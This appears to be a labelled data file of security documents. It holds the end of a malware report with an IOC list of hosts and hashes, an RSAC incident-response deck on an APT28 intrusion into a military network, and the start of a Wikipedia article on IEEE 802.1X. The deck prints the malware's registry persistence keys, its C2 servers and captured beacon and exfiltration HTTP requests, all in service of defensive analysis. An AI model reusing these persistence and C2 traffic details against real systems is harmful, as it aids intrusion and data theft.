secret passed via commandline and hardcoded RC4 key. At offset 4 it has to contain the following DWORD: 0xBC0F1DAD (AD 1D 0F BC). Appendix: Indicator of Compromise Malware Hosts sap.misapor[.]ch tradeboard.mefound[.]com:443 movis-es.ignorelist[.]com:443 update.toythieves[.]com:8080 update.toythieves[.]com:443 exbonus.mrbasic[.]com:443 Malware Hashes 02f75c2b47b1733f1889d6bbc026157c 06cd99f0f9f152655469156059a8ea25 07e13b985c79ef10802e75aadfac6408 09a77c0cb8137df82efc0de5c7fee46e 0abdaebbdbd5e6507e6db15f628d6fd7 16a278d0ec24458c8e47672529835117 17bc6f5b672b7e128cd5df51cdf10d37 198760a270a19091582a5bd841fbaec0 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae 1d0e79feb6d7ed23eb1bf7f257ce4fee 268dca9ad0dcb4d95f95a80ec621924f 2963cd266e54bd136a966bf491507bbf 2de01aac95f8703163da7633993fb447 2ef2703cfc9f6858ad9527588198b1b6 3b1dfeb298d0fb27c31944907d900c1d 459593079763f4ae74986070f47452cf 474f08fb4a0b8c9e1b88349098de10b1 579e45a09dc2370c71515bd0870b2078 5d0ffbc8389f27b0649696f0ef5b3cfe 5ebfe9a9ab9c2c4b200508ae5d91f067 5fbfeec97e967325af49fa4f65bb2265 6eec1de7708020a25ee38a0822a59e88 7413f08e12f7a4b48342a4b530c8b785 8387ceba0c020a650e1add75d24967f2 85d316590edfb4212049c4490db08c4b 949e1e35e09b25fca3927d3878d72bf4 954f50301207c52e7616cc490b8b4d3c 9d1db33d89ce9d44354dcba9ebba4c2d ad5485fac7fed74d112799600edb2fbf b135a56b0486eb4c85e304e636996ba1 b9be8d53542f5b4abad4687a891b1c03 bbd703f0d6b1cad4ff8f3d2ee3cc073c c1364bbf63b3617b25b58209e4529d8c c635e0aa816ba5fe6500ca9ecf34bd06 cb65d885f4799dbdf80af2214ecdc5fa ce6e55abfe1e7767531eaf1036a5db3d e29fe3c181ac9ddbb242688b151f3310 e62a52073fd7bfd251efca9906580839 f5e0f57684e9da7ef96dd459b554fded fde55de117cc611826db0983bc054624","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Microsoft PowerPoint - CCT-W08_Evolving-Threats-Dissection-of-a-Cyber-Espionage-Attack.pptx SESSION ID: #RSAC Stefano Maccaglia Evolving Threats: dissection of a Cyber- Espionage attack CTT-W08 Advisory Consultant IR RSA (a Division of EMC) #RSAC \xef\x81\xb5 I prefer not to talk too much about myself\xe2\x80\xa6 \xef\x81\xb5 Let just say I am Advisory Consultant at RSA IR \xef\x81\xb5 I am an Incident Responder with deep knowledge of malware and network analysts \xef\x81\xb5 I have started my career in 1997 \xef\x81\xb5 I have worked for several top 100 companies \xef\x81\xb5 Before that I have been a cracker in Europe \xc2\xabunderground scene\xc2\xbb of Amiga and PCs. Who I Am #RSAC \xef\x81\xb5 Today I would introduce a case I am still working on. \xef\x81\xb5 The case is related to Military Sector, and it has been recorded with minimal differences in several EU military environments. \xef\x81\xb5 The details of the attack are under strict NDA, but with slight modifications I have the chance to share the most important details about the attacker strategies, tactics and tools used. \xef\x81\xb5 The case is interesting for several reasons that we will discuss today. \xef\x81\xb5 The triage is still going on. Agenda What we discuss today #RSAC \xef\x81\xb5 The attack has been attributed to APT Group 28, also known as \xe2\x80\x9cSofacy\xe2\x80\x9d or \xe2\x80\x9cSednit\xe2\x80\x9d. I will call it \xe2\x80\x9cAPT28\xe2\x80\x9d from now on. \xef\x81\xb5 APT28 group believed to have been in operation since 2007 and has been identified in several attacks that have targeted Eastern European governments, military and security-related organizations including the North Atlantic Treaty Organization (NATO). \xef\x81\xb5 The group uses a complex set of tools and strategies to put a foothold in an environment and to control and steal interesting data. \xef\x81\xb5 Several sources consider APT28 a group of CyberMercs based in Russia. The adversary APT28 #RSAC \xef\x81\xb5 The attack has targeted a military environment in EMEA region. \xef\x81\xb5 The environment has born segmented, with several layer of controls to preserve confidentiality and integrity of exchanged and stored data. \xef\x81\xb5 The segmentation separates the network in several layers with different level of \xe2\x80\x9ctrust\xe2\x80\x9d. \xef\x81\xb5 Any operator receives a badge and a smartcard to operate in the network. \xef\x81\xb5 Communication from a lower to an higher layer of trust is blocked, instead communication from higher layer to a lower one are permitted. \xef\x81\xb5 At the beginning of the investigation I discovered that the base lacks any real network visibility. The only network devices capable of analyzing streams were sporadic IDS and IPS placed in non strategic points. The target: the moat without water How to develop a good network segmentation and be breached #RSAC \xef\x81\xb5 The environment is a Microsoft AD Forest with a pyramidal structure. The target: the moat without water How to develop a good network segmentation and be breached \xe2\x80\xa2 The root AD trusts several subdomains each with its proper set of AD servers. \xe2\x80\xa2 The forest is regulated with different level of trust. \xe2\x80\xa2 The \xc2\xabSecret\xc2\xbb and \xc2\xabNATO\xc2\xbb networks are physically separated entities were people can access only through dedicated machines. \xe2\x80\xa2 Under no circumstances a user from standard AD structure can access Secret networks. #RSAC \xef\x81\xb5 Patching policies are 15 days behind Microsoft releases. \xef\x81\xb5 All other applications are patched and upgraded based on internal CERT approval. \xef\x81\xb5 The reason for the delay is due to the need to verify the consistency and the impact of upgrade/patch against production environment. \xef\x81\xb5 During the investigation we have discovered that, in the Data Center, two AD servers related to trusted subdomains, were not properly patched since November 2014 due to the swap from a maintenance contractor to another. \xef\x81\xb5 The lack of the patch MS14-068 is a key to understand how deep and how hard they have been breached. The target: the moat without water How to develop a good network segmentation and be breached #RSAC The Attack #RSAC \xef\x81\xb5 The attack started from a targeted spear-phish campaign against the participants of the 2014 Farnborough Air Show. \xef\x81\xb5 The attack has targeted 7 officials of Air Force (AM) and 2 official of the Navy (MM) the email domain source was: \xe2\x80\x9cmilitaryexponews[.]com\xe2\x80\x9d \xef\x81\xb5 The attack exploit a Microsoft Word vulnerability (CVE-2015-2424). \xef\x81\xb5 Only in two cases the attack completes successfully for the attacker. \xef\x81\xb5 In seven cases, the exploit, despite successfully detonated, was not able to start the infection because the machines lack direct Internet access (proxy blocked connection attempts). \xef\x81\xb5 The reconstruction of the first stage has been performed after the creation of a proper set of IOCs starting from the infected systems. The attack strategy How they break-in #RSAC Complete\xc2 control\xc2 over\xc2 target\xc2 system CHOPSTICK\xc2 allows\xc2 the\xc2 attacker\xc2 to\xc2 extend\xc2 the\xc2 control\xc2 of\xc2 the\xc2 target EVILTOSS\xc2 can\xc2 download\xc2 CHOPSTICK\xc2 TROJAN\xc2 from\xc2 C&C Streams\xc2 to\xc2 external\xc2 C2\xc2 or\xc2 Dropzone The Attack Dissemination strategy Lateral\xc2 movements\xc2 and\xc2 Exfil Malware\xc2 beacons\xc2 to\xc2 C&C\xc2 and\xc2 sends\xc2 stolen\xc2 data EVILTOSS\xc2 Execution Second\xc2 Stage\xc2 backdoor\xc2 download (EVILTOSS) First\xc2 C&C\xc2 HTTP\xc2 POST\xc2 message Coreshell\xc2 Dropper Vector\xc2 +\xc2 First\xc2 Dropper Spear\xc2 phishing #RSACAttack Overview: End of First Wave Victim\xc2 1 Victim\xc2 2 Base Attacker microsofthelpcenter.info Main C2 When roaming they connect to C2. Blocked by proxy Attempts to access C2 Attempts to access C2 The infected hosts, during roaming in external sites, communicates with C2 Note: The repeated attempts to communicate externally from infected machines blocked by proxy have been considered \xc2\xabof no interest\xc2\xbb for the SOC of the base. No other investigation or action has been taken, at time, against these machines. #RSAC \xef\x81\xb5 To escalate the infection the attacker have used the OWA access of the stolen accounts to enumerate other potential victims for a new wave of targeted emails. \xef\x81\xb5 Also, one of the officers has access to internal Sharepoint service and participates to boards were specific internal meetings and projects are discussed. \xef\x81\xb5 With tailored messages published in Sharepoint board, the attacker has been able to sneak through the inner layers of the military infrastructure distributing the dropper. The attack strategy More patients to care about\xe2\x80\xa6 \xef\x81\xb5 One lesson I learn from Sharepoint\xe2\x80\xa6 it has a horrible Log format. #RSACAttack Overview: End of Second Wave Skopje Moskow Kiev Addis\xc2 Ababa Victim\xc2 1 Washington Base Attacker Public\xc2 WAN Still under control Still under control C2s microsofthelpcenter.info 1oo7.net 176.31.112.10 Victim\xc2 2 Base\xc2 hosts #RSAC \xef\x81\xb5 In this second wave of attack the adversary, knowing that the previous phase has not succeeded as planned due to access restriction with proxy and firewalls, has modified the dropper in order to work with internal proxy (with HTTP and SSL). \xef\x81\xb5 The modification has insured the control of all successfully infected hosts. The attack strategy The infection evolution Test\xc2 performed\xc2 after\xc2 collection\xc2 of\xc2 the\xc2 dropper\xc2 from\xc2 original\xc2 spear\xc2 phising email IOC Proxy #RSAC \xef\x81\xb5 The attacker has now a significant set of standard Domain Users account. \xef\x81\xb5 Not enough to pawn the infrastructure, but good enough as a starting point. \xef\x81\xb5 Thanks to his backdoor, he can easily begin to extend his action to other systems. \xef\x81\xb5 Lacking logs and network visibility, for that part, we can only speculate that he successfully identifies the vulnerable Navy subdomains by accessing Navy computers in the base. \xef\x81\xb5 The victims have direct access to the abovementioned AD servers because they use them for standard authentication. \xef\x81\xb5 APT28 at this point has breached AD servers, has collected domain admins credentials and has moved forward to the Root AD and the repositories where \xe2\x80\x9cinteresting data\xe2\x80\x9d resides. The attack strategy The infection progression #RSAC \xef\x81\xb5 Windows Audit log showing the successful exploitation of the Kerberos Service. CVE 2014-6324 LOG IOC \xe2\x80\xa2 When looking at the Audit log, to understand the successful exploit we should compare the Security ID with the Account Name. These two should be identical. \xe2\x80\xa2 In this case, slightly modified from the original log, we can see the \xc2\xabOfficer A\xc2\xbb logging with the Security ID of \xc2\xabAdministrator\xc2\xbb. #RSAC \xef\x81\xb5 The attacker has been able to exploit root AD Servers thanks to a unknown (initially) local privilege escalation vulnerability CVE-2015-1701. Pwning the core: CVE-2015-1701 AKA\xe2\x80\xa6 \xc2\xabHow to pwn your AD and live undetected\xc2\xbb\xe2\x80\xa6 The attacker has exploited a callback in UserSpace. Upon completion, the payload continues execution in UserMode with the privileges of the System process. Note: The technique has been reported by Microsoft thanks to the analyses carried out in this engagement\xe2\x80\xa6 #RSAC The Incident #RSAC \xef\x81\xb5 The diplomatic representation in Addis Ababa is composed of few militaries and several diplomats connected to Internet with the standard VPN service from public networks (transit through the Base). For that part, nobody has noticed the strange connections to the external C2s repeated each day. \xef\x81\xb5 But for a specific task, the owner of the infected laptop has used a connection from a military outpost, tightly regulated in access time and permissions. \xef\x81\xb5 Once connected, the computer has attempted to beacon to the C2s and the local network operator has identified the strange traffic signaling it to his superiors. \xef\x81\xb5 The alert has escalated to the Army regiment which has started to investigate. \xef\x81\xb5 The analysis performed has followed the traditional practice. Patient Zero How the victim discovers the problem #RSAC \xef\x81\xb5 The forensic analysis on the \xc2\xabPatient Zero\xc2\xbb identified by the Customer showed the following suspicious files and registry modifications, but no attempts to expand the focus of the investigation have been made. Patient Zero What\xe2\x80\x99s on Customer \xe2\x80\x9cPatient Zero\xe2\x80\x9d machine? Registry\xc2 Keys\xc2 and\xc2 Values Created Modified HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Network Identification Service\\parameters\\ServiceDll = C:\\Windows\\System32\\netids.dll Yes No HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Network Identification Service\\parameters\\ServiceDllUnloadOnStop = 1 Yes No HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\ntsvcs = Network Identification Service Yes No HKEY_LOCAL_MACHINE\\software\\microsoft\\windowsNT\\currentversion\\svchost\\ntsvcs\\CoInitializeSecurityParam \xe2\x9e\x9d 1 Yes No EVILTOSS\xc2 backdoor #RSAC \xef\x81\xb5 The Army has triaged the compromised system reinstalling the OS and applications and has close the case. \xef\x81\xb5 As result of the triage, the attacker changes strategy for a while. \xef\x81\xb5 APT28 has lowered the volume of his traffic and, for more than 20 days nothing has been reported. \xef\x81\xb5 The military was ready closed the case, but another anomaly has been founded during a scheduled maintenance on a server in the base Data Center. \xef\x81\xb5 Looking at the logs, they have discovered the presence of repeated accesses from ad Administrator account logging from an external IP address. \xef\x81\xb5 The case has escalated quickly this time. Patient Zero consequences How the attacker reacted #RSAC The Methodology #RSACWhat we can bring to the table? \xef\x81\xb5 I am part of RSA IR Team and our structured approach, developed from our field experience is now tuned to face attacks like this one. \xef\x81\xb5 Our approach leverages on \xe2\x80\x9cActionable IoCs\xe2\x80\x9d and the support of tools that could easily integrate these IoCs to speedup the IR investigation process. \xef\x81\xb5 This is a methodology and not a \xe2\x80\x9cmethod\xe2\x80\x9d, because it counts on procedures, analyses and evidences in a scientifically sounding approach. \xef\x81\xb5 To collect actionable IoCs we use a synergic approach that includes network and system visibility with log and malware analyses. \xef\x81\xb5 It involves aggregation of IoCs and their classification to create a \xe2\x80\x9cKnowledge Base\xe2\x80\x9d of attacks, tools and strategies that could be \xe2\x80\x9creused\xe2\x80\x9d in subsequent engagements to streamline the response and support the attribution. #RSAC The Methodology Network visibility System visibility Malware visibility Network, system and log indicators. Classification and attribution. Incident surface. Triage planned from a tailored set of strategic actions. #RSAC Actionable IoCs What our methodology suggests \xef\x81\xb5 IR is an ongoing process that spawns on multiple areas. #RSAC Actionable IoCs What our methodology suggests \xef\x81\xb5 To operationalize the IoC you should develop, use and store it in a reusable logic. #RSACInvestigation: first step \xef\x81\xb5 The Customer has initially escalated the problem to another team, but despite the efforts and a triage attempt, the result was not satisfactory. \xef\x81\xb5 Few days after the triage they discover additional lateral movements in their network. \xef\x81\xb5 At this point the Customer called us. \xef\x81\xb5 We notice, since the initial talk, that the Customer was lacking any network visibility and the investigation was performed without a structured approach. No network visibility Limited quantity of historical logs No detailed analysis has been performed initially The initial investigation has been limited to MD5 search on Domain machines. #RSAC \xef\x81\xb5 Following our advice to bring a network forensic tool in their environment (RSA Security Analytics) we have been able to ensure that, even after the \xc2\xabapparent\xc2\xbb expulsion of the attacker, several machines were still infected. Zero Trust Below zero trust\xe2\x80\xa6 Successful\xc2 communication recorded\xc2 after\xc2 expulsion/triage\xe2\x80\xa6 The \xc2\xabnetwork visibility\xc2\xbb has offered also the chance to proactively monitor the occurrence of other malicious attacks. #RSAC \xef\x82\xa7 We have rebuilt the investigation process from the scratch aiming to identify malicious behavior from the already collected samples to build optimal Network Forensic IOC and to apply them as a base to highlight further machines infected. Our approach tailored to the case Our investigation \xef\x82\xa7 Thanks to that we have been able to enumerate remaining infected machines and to unearth the \xe2\x80\x9cmissing piece\xe2\x80\x9d: the Chopstick RAT that the original IR team was not capable of identify. We know, from experience, that APT28 uses Chopstick RAT for most interesting targets. Integrated a Network Forensic Tool: RSA SA Refocused the malware analysis on all identified samples to identify Actionable IOCs. Redefined Actionable IOCs at Network, System and Log level for different platforms and systems. Improved the triage strategy by moving from \xc2\xb0seek & destroy\xc2\xb0 to a more strategic approach. #RSAC Attacker Tools #RSAC \xef\x81\xb5 CORESHELL: This downloader is the evolution of the previous downloader of choice from APT28 known as \xe2\x80\x9cSOURFACE\xe2\x80\x9d (or \xe2\x80\x9cSofacy\xe2\x80\x9d). This downloader, once executed, create the conditions to download and execute a second-stage (usually Eviltoss) from a C2. \xef\x81\xb5 EVILTOSS: This backdoor is delivered through CORESHELL downloader to gain system access for reconnaissance, monitoring, credential theft, and shellcode execution. \xef\x81\xb5 CHOPSTICK: This is a modular implant compiled from a software framework that provides tailored functionality and flexibility. By far Chopstick is the most advanced tool used by APT 28. \xef\x81\xb5 MIMIKATZ: Everyone of us knows this tool. In this case, this has been of devastating effects to completely compromise AD Forest. APT 28 Tools APT 28 Tools seen in this investigation #RSACAPT 28 Tools CORESHELL behavioral analysis Coreshell was relatively easy to detonate, apart for some AntiVM checks before executing. The behavioral analysis has permitted to highlight several DNS connections: The DNS requests aim to different external hosts. The malware use a beacon mechanism based on HTTP POST and a separate thread for instructions still in HTTP. The User-Agent, as explained earlier, can be used as IOC, at least for the oldest variants. Note: Latest version of CORESHELL uses the victim\xe2\x80\x99s browser User-Agent making the IOC useless. #RSACAPT 28 Tools CORESHELL ATTRIBUTION BY COMPARISON The attribution has been performed in two ways: \xef\x82\xa7 by comparison, between the discovered samples and the public ones. \xef\x82\xa7 by analysis, looking for indicators related to the date and time of compilation, the time zone, the language of the malware and its behaviour. The dropped files have been verified as well and compared between different droppers. #RSAC \xef\x81\xb5 At system level the malware modifies the Registry in order to ensure persistence. \xef\x81\xb5 It is dropped and executed, usually, from one of these folders: APT 28 Tools EVILTOSS IOCs EVILTOSS\xc2 installation\xc2 folder %system% %temp% %commonprogramfiles%\\System\\ Registry\xc2 Keys\xc2 and\xc2 Values Created Modified HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Network Identification Service\\parameters\\ServiceDll = %EVILTOSS\xc2 folder%.dll Yes No HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\Network Identification Service\\parameters\\ServiceDllUnloadOnStop = 1 Yes No HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\ntsvcs = Network Identification Service Yes No HKEY_LOCAL_MACHINE\\software\\microsoft\\windowsNT\\currentversion\\svchost\\ntsvcs\\CoInitializeSecurityParam \xe2\x9e\x9d 1 Yes No download files from a remote computer and/or the Internet run executable files log keystrokes send gathered information #RSACAPT 28 Tools EVILTOSS ATTRIBUTION BY COMPARISON The attribution has been performed in two ways: \xef\x82\xa7 by comparison, between the discovered samples and the public ones. \xef\x82\xa7 by analysis, looking for indicators related to the date and time of compilation, the time zone and the language of the malware discovered. Also lateral movements have been verified in terms of timeframe of the log and hosts involved. #RSAC \xef\x81\xb5 EVILTOSS and CORESHELL share a lot of commonalities, both in the communication mechanism and the obfuscation/encryption. I.E. both obfuscate strings that are decoded at runtime. \xef\x81\xb5 EVILTOSS uses RSA encryption to encrypt data and send it through a HTTP POST message very similar to CORESHELL traffic: APT 28 Tools EVILTOSS IOCs Cont\xe2\x80\xa6 C2\xc2 ack for\xc2 exfil #RSAC \xef\x81\xb5 CHOPSTICK is a Trojan family, written in C++ and built from a framework. \xef\x81\xb5 It offers a diverse set of capabilities for different deployments. \xef\x81\xb5 It collects detailed information from the host settings and it is aware of the presence of several security products. \xef\x81\xb5 It may communicate with external servers using SMTP, HTTP or HTTPs. \xef\x81\xb5 CHOPSTICK stores all collected information in a hidden file for temporary storage. \xef\x81\xb5 It communicates with the C2 via Windows \xe2\x80\x9cmailslot\xe2\x80\x9d, not named pipes or sockets. \xef\x81\xb5 CHOPSTICK main executable creates a \xe2\x80\x9cmailslot\xe2\x80\x9d in Windows machines and acts as the mailslot server, while its code injected into the other processes acts as a client allowing the Trojan to access and steal any type of information. \xef\x81\xb5 The RC4 encryption used here also uses a 50 bytes static key plus four-byte random salt value. APT 28 Tools CHOPSTICK #RSAC \xef\x81\xb5 Looking at network traffic we discover that, after approximately 60 seconds of execution time, CHOPSTICK begins communicating with one of its C2 servers. Usually as in our sample the traffic was over HTTP: \xef\x81\xb5 After sending an initial HTTP GET request it uploads the file contents of edg6EF885E2.tmp to the C2 server using HTTP POST requests. APT 28 Tools CHOPSTICK IOCs GET /find/?itwm=90QDFR9CWZckwkTPHr2GOUXPXI91A&from=yVVgOqV1UG&utm=HTXh&utm=9kV7L3Z&oprnd=Xjp1kKrDgAeFu&from=06&9u2J=nYruvlhMtXN5 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: 198.105.125.74 POST /open/?ags=bBz&ags=qVs5d0kGHtil&oprnd=6ZCuc7XQ&channel=gBDFmj_fJdNk9&itwm=HJxam7mDOyIBftJ6OwEQjGBzyjpQv HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: 198.105.125.74 Content-Length: 69 Connection: Keep-Alive Cache-Control: no-cache EMo1MTmWmHwJAwHlezPSG5-SGWRYwQm6MbGxkYhvCv7-FRCezztd2UxRArSxP285WXg== #RSAC \xef\x81\xb5 Thanks to our structured approach we have been able to identify the C2s used by the attacker and with them, we have been able to enumerate infected hosts based on network communications. The attack strategy IOC: C2 list URL IP Type microsofthelpcenter.info 87.236.215.13 HTTP/HTTPS Main C2 driversupdate.info 46.19.138.66 HTTPS C2 1oo7.net 5.199.171.58 HTTPS C2 66.172.12.133 66.172.12.133 Coreshell C2 45.64.105.23 45.64.105.23 Coreshell C2 176.31.112.10 176.31.112.10 HTTPS C2 176.31.96.178 176.31.96.178 HTTPS C2 Note: Some of the discovered C2s are in common with other attacks recorded against other military environments in EMEA. The C2 list has confirmed the attribution and has paved the way for a more structured approach for Triage Note: The attacker has used different infrastructures for managing infected hosts. #RSACIncident Timeline and Stats Results of our methodology Vs previous results obtained by the Customer APT28 Remediation 0 50 100 150 200 250 300 Oct\xe2\x80\x9014 Nov\xe2\x80\x9014 Dec\xe2\x80\x9014 Jan\xe2\x80\x9015 Feb\xe2\x80\x9015 Mar\xe2\x80\x9015 Apr\xe2\x80\x9015 May\xe2\x80\x9015 Jun\xe2\x80\x9015 Jul\xe2\x80\x9015 Aug\xe2\x80\x9015 Sep\xe2\x80\x9015 APT28 Remediation Initial\xc2 massive\xc2 triage First\xc2 time\xc2 our\xc2 methodology\xc2 has\xc2 applied Initial\xc2 Spearphishing First\xc2 Phase\xc2 of\xc2 Attack Peak\xc2 of\xc2 attack\xc2 distribution Patient\xc2 Zero Final\xc2 triage\xc2 managed\xc2 by\xc2 our\xc2 Team Last\xc2 record\xc2 of\xc2 infected\xc2 machine #RSAC \xef\x81\xb5 It is extremely valuable to build an internal Knowledge base about incidents and attacks recorded and published and to extract IOCs from these incidents. \xef\x81\xb5 It is extremely useful to refocus the IR procedures dividing them in four areas: \xef\x81\xb5 Network Forensic \xef\x81\xb5 System Forensic \xef\x81\xb5 Log Analysis \xef\x81\xb5 Malware Analysis \xef\x81\xb5 It could be extremely important to streamline the IR procedures by transforming IOCs to actionable IOCs, that means to evaluate and define which IOC can be reused and which one is limited to a specific attack or event. \xef\x81\xb5 It is important to drill and to give IR personnel the chance to learn how to build, use, extract, evaluate and properly store Actionable IOCs. Conclusion What I can suggest Actionable IOCs Rapid Incident reactionProactive Management #RSAC You\xc2 should\xc2 not\xc2 approach\xc2 IR\xc2 operations\xc2 in\xc2 a\xc2 unstructured\xc2 way. You\xc2 should\xc2 ensure\xc2 proper\xc2 \xc2\xabvisibility\xc2\xbb\xc2 to\xc2 all\xc2 IR\xc2 fields. You\xc2 should\xc2 avoid\xc2 to\xc2 manage\xc2 the\xc2 Incident\xc2 through\xc2 \xc2\xabwork\xc2 arounds\xc2\xbb\xc2 and\xc2 \xc2\xabshortcuts\xc2\xbb You should avoid to\xc2 rely only on\xc2 technologies You\xc2 should\xc2 keep\xc2 your\xc2 IR\xc2 capabilities\xc2 updated Once\xc2 formalized,\xc2 you\xc2 should\xc2 use\xc2 IoCs\xc2 as\xc2 key\xc2 element\xc2 to\xc2 evaluate\xc2 the\xc2 attack\xc2 surface You\xc2 should\xc2 organize\xc2 the\xc2 triage\xc2 in\xc2 a\xc2 strategic\xc2 approach.\xc2 Conclusion What our methodology suggests #RSAC EMC,\xc2 RSA,\xc2 the\xc2 EMC\xc2 logo\xc2 and\xc2 the\xc2 RSA\xc2 logo\xc2 are\xc2 trademarks\xc2 of\xc2 EMC\xc2 Corporation\xc2 in\xc2 the\xc2 U.S.\xc2 and\xc2 other\xc2 countries.\xc2","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"IEEE 802.1X - Wikipedia IEEE 802.1X From Wikipedia, the free encyclopedia Jump to navigation Jump to search IEEE 802.1X is an IEEE Standard for port-based Network Access Control (PNAC). It is part of the IEEE 802.1 group of networking protocols. It provides an authentication mechanism to devices wishing to attach to a LAN or WLAN. IEEE 802.1X defines the encapsulation of the Extensible Authentication Protocol (EAP) over IEEE 802,[1][2] which is known as ""EAP over LAN"" or EAPOL.[3] EAPOL was originally designed for IEEE 802.3 Ethernet in 802.1X-2001, but was clarified to suit other IEEE 802 LAN technologies such as IEEE 802.11 wireless and Fiber Distributed Data Interface (ISO 9314-2) in 802.1X-2004.[4] The EAPOL was also modified for use with IEEE 802.1AE (""MACsec"") and IEEE 802.1AR (Secure Device Identity, DevID) in 802.1X-2010[5][6] to support service identification and optional point to point encryption over the internal LAN segment. Contents 1 Overview 2 Protocol operation 2.1 Port entities 2.2 Typical authentication progression 3 Implementations 3.1 Supplicants 3.1.1 Windows 3.1.2 Windows XP 3.1.3 Windows Vista 3.1.4 Windows 7 3.1.5 Windows PE 3.1.6 OS X Mojave[23] 3.1.7 GNU/Linux 3.2 Federations 4 Proprietary extensions 4.1 MAB (MAC Authentication Bypass) 5 Vulnerabilities in 802.1X-2001 and 802.1X-2004 5.1 Shared media 6 Alternatives 7 See also 8 References 9 External links Overview[edit] EAP data is first encapsulated in EAPOL frames between the Supplicant and Authenticator, then re-encapsulated between the Authenticator and the Authentication server using RADIUS or Diameter. 802.1X authentication involves three parties: a supplicant, an authenticator, and an authentication server. The supplicant is a client device (such as a laptop) that wishes to attach to the LAN/WLAN. The term 'supplicant' is also used interchangeably to refer to the software running on the client that provides credentials to the authenticator. The authenticator is a network device which provides a data link between the client and the network and can allow or block network traffic between the two, such as an Ethernet switch or wireless access point; and the authentication server is typically a trusted server that can receive and respond to requests for network access, and can tell the authenticator if the connection is to be allowed, and various settings that should apply to that client's connection or setting. Authentication servers typically run software supporting the RADIUS and EAP protocols. In some cases, the authentication server software may be running on the authenticator hardware. The authenticator acts like a security guard to a protected network. The supplicant (i.e., client device) is not allowed access through the authenticator to the protected side of the network until the supplicant's identity has been validated and authorized. With 802.1X port-based authentication, the supplicant must initially provide the required credentials to the authenticator - these will have been specified in advance by the network administrator, and could include a user name/password or a permitted digital certificate. The authenticator forwards these credentials to the authentication server to decide whether access is to be granted. If the authentication server determines the credentials are valid, it informs the authenticator, which in turn allows the supplicant (client device) to access resources located on the protected side of the network.[7] Protocol operation[edit] EAPOL operates over the data link layer, and in Ethernet II framing protocol has an EtherType value of 0x888E. Port entities[edit] 802.1X-2001 defines two logical port entities for an authenticated port\xe2\x80\x94the ""controlled port"" and the ""uncontrolled port"". The controlled port is manipulated by the 802.1X PAE (Port Access Entity) to allow (in the authorized state) or prevent (in the unauthorized state) network traffic ingress and egress to/from the controlled port. The uncontrolled port is used by the 802.1X PAE to transmit and receive EAPOL frames. 802.1X-2004 defines the equivalent port entities for the supplicant; so a supplicant implementing 802.1X-2004 may prevent higher level protocols being used if it is not content that authentication has successfully completed. This is particularly useful when an EAP method providing mutual authentication is used, as the supplicant can prevent data leakage when connected to an unauthorized network. Typical authentication progression[edit] The typical authentication procedure consists of: Sequence diagram of the 802.1X progression Initialization On detection of a new supplicant, the port on the switch (authenticator) is enabled and set to the ""unauthorized"" state. In this state, only 802.1X traffic is allowed; other traffic, such as the Internet Protocol (and with that TCP and UDP), is dropped. Initiation To initiate authentication the authenticator will periodically transmit EAP-Request Identity frames to a special Layer 2 address (01:80:C2:00:00:03) on the local network segment. The supplicant listens on this address, and on receipt of the EAP-Request Identity frame it responds with an EAP-Response Identity frame containing an identifier for the supplicant such as a User ID. The authenticator then encapsulates this Identity response in a RADIUS Access-Request packet and forwards it on to the authentication server. The supplicant may also initiate or restart authentication by sending an EAPOL-Start frame to the authenticator, which will then reply with an EAP-Request Identity frame. Negotiation (Technically EAP negotiation) The authentication server sends a reply (encapsulated in a RADIUS Access-Challenge packet) to the authenticator, containing an EAP Request specifying the EAP Method (The type of EAP based authentication it wishes the supplicant to perform). The authenticator encapsulates the EAP Request in an EAPOL frame and transmits it to the supplicant. At this point the supplicant can start using the requested EAP Method, or do an NAK 